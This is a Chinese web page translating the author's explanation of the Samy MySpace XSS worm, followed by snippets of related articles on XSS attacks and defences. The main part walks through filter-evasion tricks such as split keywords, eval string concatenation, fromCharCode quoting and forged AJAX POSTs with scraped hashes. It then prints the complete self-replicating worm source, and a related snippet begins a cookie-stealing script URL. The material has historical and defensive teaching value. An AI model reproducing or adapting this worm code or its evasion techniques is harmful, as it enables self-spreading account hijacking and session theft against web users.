Kamkar近日在Github上发布了
一款软件并附上指导教程,教你如何修改无人机设置,使之认证失效并对其进行攻击。该Perl软件名为SkyJack,运行在 Raspberry Pi上并使用其它开源软件来劫持飞行器。这一新闻让我对此人非常敬佩,翻译了他关于如何在MySpace上实现第一个XSS工具蠕虫代码的说明,翻译的过程也是对XSS攻击的一次学习过程和对黑客精神的震撼。1)Myspace 屏蔽了很多标志符。事实上,他们只允许<a>,<img>类,和<div>类,或许还有其他一些(
例如,<embed>类)。他们不允许<script>类,<boday>类,onClinks,onAnythings,带javascript的<href>类。
但是某些浏览器(IE,部分Safari和其他)允许CSS标识符中带有javascript.即便如此,我们也需要javascript能够正常运行。例如:<div style=”background:url(‘javascript:alert(1)’)”>2)我们不能对Div 标识符使用引号,因为我们已经使用了单引号和双引号。这让JS的编程非常困难。为了让JS运行,我们使用表达式来保存JS代码和通过函数名来运行。例如,<div id=”mycoce” expr=”alert(‘hah!’)”sytle=”background:url(‘javascript:eval(document.all.mycode.expr)’)”>3)真棒,现在我们可以执行带单引号的Javascript代码了。但是,MySpace网站禁止了关键字”javascript”.为了实现目的,某些浏览器认可“java\nscript”(就是java<NEWLINE>script 为”javascript”.例如,<divid=”mycode”expr=”alert(‘hah!’)”style=”background:url(‘javaScript:eval(document.all.mycode.expr)’)”>4)很好,当我们让单引号其效果后,我们有时还需要双引号。我们将引号转义,例如,“foo\”bar”. Myspace 打击我一下,他们禁止了所有转义,无论是双引号还是单引号。但是,我们依然可以在javascript 中将10进制翻译成ASCII来生成引号。例如,<div id=”mycode”expr=”alert(‘doublequota:’+String.fromCharCode(34))”style=”background:url(‘javScript:eval(document.all.mycode.expr)’)”>5)为了将代码发布到真正展示的用户简介页面上,我们需要得到这些页面源码。为了获得包含客户ID的浏览页面的源码,我们可以使用document.body.innerHTML。但是Myspace再次打击了我,他们禁止了标识“innerHTML “.我们可以用eval函数来拼接两个字符串组成“innerHTML”.例如,alert(eval(‘document.body.innt’+’rHTML’))6)是时候访问其他页面了。通常我们使用”iframes”格式,但是即便是隐藏的,“iframes”并不有效,会让用户明显感到有其他东西在运行。
所以我们采用AJAX(XML-HTTP)来让实际用户产生HTTP GET和POST到页面。当然,Myspace禁止了XML-HTTP请求所必需的敏感词“onreadstatechange”,我们再次使用EVAL来拼接生产该敏感词。另外,要XML-HTTP在myspace 有效果还需要Cookies.例如,eval(‘xmlhttp.onread’+’ystatechange=callback’);7)是时候在用户简介上执行GET来获得他们的Hero列表。我们不必删除任何heros,我们仅仅是将自己添加到已
有的列表中。如果我们GET他们的简介,我们就能
获取他们的列表并且保存备用。综上所述,用XML-HTTP来实现是简单的,除非我们要获得当前浏览该简介的用户ID。正如我说的,我们可以从获取页面源码来实现。好了,我们需要在页面中搜索关键词。但是如果我们这么做,我们会发现自己,因为我们的代码包含相同的关键字。我们再次使用eval()来拼接字符串来避免这个问题。8)到此,我们有了heros列表。第一,让我们在addFriends页面执行一个XML-HTTPPOST请求把自己加到朋友列表中。欧不,这样不行,为啥?我们正在profile.myspace.com页面,但是POST动作要在www.myspace.com页面去运行。但是XML-HTTP不允许在不同域名间实现GETs/POSTs。为了避免这样,我们要去同一URL而不是在www.myspace.com页面。你可以继续从www.myspace.com 浏览简介,通过在同一域名中重新装载运行我们执行POST的页面。例如,if(location.hostname== ‘profile.myspace.com’) document.location= ‘http://www.myspace.com’+location.pathname + location.search;9)最后我们执行POST请求。但是,当我们发送POST请求后没有添加用户。为啥?原来Myspace为一个预POST页面生产了一个哈希值,例如在“你确定添加该用户为朋友页面”。如果这个哈希值没有与POST一同发生的话,这个POST不会成功执行。为了避免这样,在添加用户前我们模拟一个浏览器去GET该页面,通过分析源码来取得该哈希值,
然后带上该哈希值去执行POST请求。10)一旦POST请求结束,我们还要添加一个Hero和执行代码。这段代码执行完后就会到hero的同一地方,所以我们只有一个POST请求就可以了。但是,我们需要预GET一个页面来得到一个新的哈希值。但是,第一我们不得不重新生成我们要POST的代码。最简单的办法是获取我们要的页面源码,分析出代码后在发出POST请求。到此为止万事俱备。为了POST请求正在运行我们需要对代码做编码或者转义。可恶,还是不能运行。显然,javascript的URL-Encoding和escape() 函数不能转义所以必须要的代码。所以我们不得不人工来做这些工作确保必要的代码正确转义。我们添加了一条“but most of all ,samy is my hero”到代码。哇,我们自我复制了一个蠕虫代码。11)还有其他限制,例如,最大长度,必需紧凑的代码,没有空格,混乱的命名,重复使用的函数等等。最后附上Samy 蠕虫的源码:<divid=mycodestyle="BACKGROUND:url('javascript:eval(document.all.mycode.expr)')"expr="varB=String.fromCharCode(34);varA=String.fromCharCode(39);functiong(){varC;try{varD=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){returnC}else{returneval('document.body.inne'+'rHTML')}}functiongetData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}functiongetQueryParams(){varE=document.location.search;varF=E.substring(1,E.length).split('&');varAS=newArray();for(varO=0;O<F.length;O++){varI=F[O].split('=');AS[I[0]]=I[1]}returnAS}varJ;varAS=getQueryParams();varL=AS['Mytoken'];varM=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}functiongetClientFID(){returnfindIn(g(),'up_launchIC('+A,A)}functionnothing(){}functionparamsToString(AV){varN=newString();varO=0;for(varPinAV){if(O>0){N+='&'}varQ=escape(AV[P]);while(Q.indexOf('+')!=-1){QQ=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){QQ=Q.replace('&','%26')}N+=P+'='+Q;O++}returnN}functionhttpSend(BH,BI,BJ,BK){if(!J){returnfalse}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);returntrue}functionfindIn(BF,BB,BC){varR=BF.indexOf(BB)+BB.length;varS=BF.substring(R,R+1024);returnS.substring(0,S.indexOf(BC))}functiongetHiddenParameter(BF,BG){returnfindIn(BF,'name='+B+BG+B+'value='+B,B)}functiongetFromURL(BF,BG){varT;if(BG=='Mytoken'){T=B}else{T='&'}varU=BG+'=';varV=BF.indexOf(U)+U.length;varW=BF.substring(V,V+1024);varX=W.indexOf(T);varY=W.substring(0,X);returnY}functiongetXMLObj(){varZ=false;if(window.XMLHttpRequest){try{Z=newXMLHttpRequest()}catch(e){Z=false}}elseif(window.ActiveXObject){try{Z=newActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=newActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}returnZ}varAA=g();varAB=AA.indexOf('m'+'ycode');varAC=AA.substring(AB,AB+4096);varAD=AC.indexOf('D'+'IV');varAE=AC.substring(0,AD);varAF;if(AE){AEAE=AE.replace('jav'+'a',A+'jav'+'a');AEAE=AE.replace('exp'+'r)','exp'+'r)'+A);AF='butmostofall,samyismyhero.<d'+'ivid='+AE+'D'+'IV>'}varAG;functiongetHome(){if(J.readyState!=4){return}varAU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AGAG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;varAR=getFromURL(AU,'Mytoken');varAS=newArray();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&MytokenMytoken='+AR,postHero,'POST',paramsToString(AS))}}}functionpostHero(){if(J.readyState!=4){return}varAU=J.responseText;varAR=getFromURL(AU,'Mytoken');varAS=newArray();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}functionmain(){varAN=getClientFID();varBH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&MytokenMytoken='+L,processxForm,'GET')}functionprocessxForm(){if(xmlhttp2.readyState!=4){return}varAU=xmlhttp2.responseText;varAQ=getHiddenParameter(AU,'hashcode');varAR=getFromURL(AU,'Mytoken');varAS=newArray();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='AddtoFriends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}functionhttpSend2(BH,BI,BJ,BK){if(!xmlhttp2){returnfalse}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);returntrue}"></DIV>【编辑推荐】XSS的常见变换--XSS攻击发展蠕虫来了!小议xss worm的前世今生防御XSS攻击的七条原则PHP
防止XSS攻击函数蠕虫病毒史话:好奇如何害死猫?【责任编辑:蓝雨泪 TEL:(010)68476606】 原文:世界第一个XSS攻击蠕虫的原理 返回网络安全首页
世界第一个XSS攻击蠕虫的原理
时间: 2024-09-10 04:20:21
世界第一个XSS攻击蠕虫的原理的相关文章
跨站式脚本(Cross-SiteScripting)XSS攻击原理分析第1/4页_安全相关
使用过ASP的同学一定见过这样的代码: Hello, 复制代码 代码如下: <% Response.Write(Request.Querystring("name")) %> 假如我传入的name的值为: [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行] 这样就可以直接盗取用户的cookie.所以我就可以发送一条链接地址让别人去点: 复制代码 代码如下: http://www.xxx.com/reg.asp?name=<script>x=docum
XSS攻击及防御
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如,盗取用户Cookie.破坏页面结构.重定向到其它网站等. XSS攻击 XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based X
基于P2P思想的QQ蠕虫的原理与防治 附主要源代码
一.背景 以QQ为代表的即时通讯软件,在网络时代迅速而轻易地赢得了无数用户的心,然后以更加惊人的速度普及开去,目前,网络上使用QQ软件的注册人数已经超过1个亿,但树大招风,从今年病毒的发作情况来看,已经有将近100种QQ类型的病毒出现.由此可以看出,利用QQ这类即时通讯工具来进行传播的病毒,已经逐渐成为新病毒的流行趋势. 2002年8月25日,瑞星全球病毒监控中心截获了一个传染能力极强的恶性QQ病毒--"爱情森林"(trojan.sckiss).病毒的制作者利用
浅谈跨网站脚本攻击(XSS)的手段与防范(简析新浪微博XSS攻击事件)
本文主要涉及内容: 什么是XSS XSS攻击手段和目的 XSS的防范 新浪微博攻击事件 什么是XSS 跨网站脚本(Cross-sitescripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响.这类攻击通常包含了HTML以及用户端脚本语言. XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.这些恶
XSS攻击的解决方法
在我上一篇<前端安全之XSS攻击>文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招"独孤九剑"能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今天通过阅读<白帽子讲Web安全>这本书,对应对方式有了更好的总结,分为两类,一是服务端可以干的事,二是客户端可以干的事. 前提 在说XSS解决方式时,有一个前提.就是同源策略--浏览器的同源策略(浏览器安全的基础,即使是攻击脚本也要遵守这法则),限制了来自不同源的"d
避免XSS攻击
随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验.所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容.动态站点会受到一种名为"跨站脚本攻击"(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响. 什么是XSS XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩
WEB测试番外之----XSS攻击
1.1 什么是XSS攻击 XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style. Sheets, CSS)的缩写混淆.故将跨站脚本攻击缩写为XSS.XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中.比如这些代码包括HTML代码和客户端脚本.攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy).这种类型的漏洞由于被骇客用来编写危害性更
XSS攻击和防御
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS. XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞.理论上,所有可输入的地方没有对输入数据进行处理的话,都会存在XSS漏洞,漏洞的危害取决于攻击代码的威力,攻击代码也不局限于script. 举几
PHP防止XSS攻击之过滤、验证和转义之转义的例子
PHP 转义实现 把输出渲染成网页或API响应时,一定要转义输出,这也是一种防护措施,能避免渲染恶意代码,造成XSS攻击,还能防止应用的用户无意中执行恶意代码. 我们可以使用前面提到的htmlentities函数转移输出,该函数的第二个参数一定要使用ENT_QUOTES,让这个函数转义单引号和双引号,而且,还要在第三个参数中指定合适的字符编码(通常是UTF-8),下面的例子演示了如何在渲染前转义HTML输出: <?php $output = '<p><script>alert